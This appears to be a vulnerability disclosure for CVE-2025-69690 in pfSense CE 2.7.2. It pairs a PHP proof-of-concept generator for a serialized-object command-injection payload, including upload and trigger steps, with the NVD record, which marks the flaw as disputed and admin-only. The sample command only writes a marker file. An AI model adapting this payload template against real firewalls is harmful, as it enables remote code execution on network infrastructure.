CVE-2025-69690

<?php /* * PoC Generator for CVE-2025-69690 * This script generates a serialized PHP object payload. * The payload targets the 'post_reboot_commands' property. */ class PfSenseModuleInstaller { // Target property that triggers command execution public $post_reboot_commands; } // Initialize the object $payloadObject = new PfSenseModuleInstaller(); // Define the malicious command to execute // Example: Create a simple file to prove execution $maliciousCommand = "echo 'CVE-2025-69690 POC' > /tmp/pwned.txt"; // Assign the command to the vulnerable property $payloadObject->post_reboot_commands = $maliciousCommand; // Generate the serialized payload $serializedPayload = serialize($payloadObject); // Output the payload echo "Generated Serialized Payload:\n"; echo $serializedPayload . "\n"; /* * Usage Instructions: * 1. Embed this serialized string into a valid pfSense backup file structure. * 2. Upload the crafted backup file using the Module Installer feature. * 3. Trigger the installation/reboot process to execute the command. */ ?>

{"cve": {"id": "CVE-2025-69690", "sourceIdentifier": "[email protected]", "published": "2026-05-08T07:16:28.750", "lastModified": "2026-05-12T13:45:34.787", "vulnStatus": "Analyzed", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["disputed"]}], "descriptions": [{"lang": "en", "value": "Netgate pfSense CE 2.7.2 allows code execution by using the module installer with a backup file with a serialized PHP object containing the post_reboot_commands property. NOTE: the Supplier disputes this because this installer is only available to admins and they are intentionally allowed to execute PHP code."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.3, "impactScore": 6.0}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-502"}, {"lang": "en", "value": "CWE-915"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:pfsense:pfsense:2.7.2:*:*:*:community:*:*:*", "matchCriteriaId": "CFDCFA7A-4A54-4FB8-8548-008179AD8BD5"}]}]}], "references": [{"url": "https://seclists.org/fulldisclosure/2026/Feb/16", "source": "[email protected]", "tags": ["Exploit", "Mailing List", "Third Party Advisory"]}, {"url": "https://www.linkedin.com/in/nelson-adhepeau/", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "https://seclists.org/fulldisclosure/2026/Feb/16", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Mailing List", "Third Party Advisory"]}]}}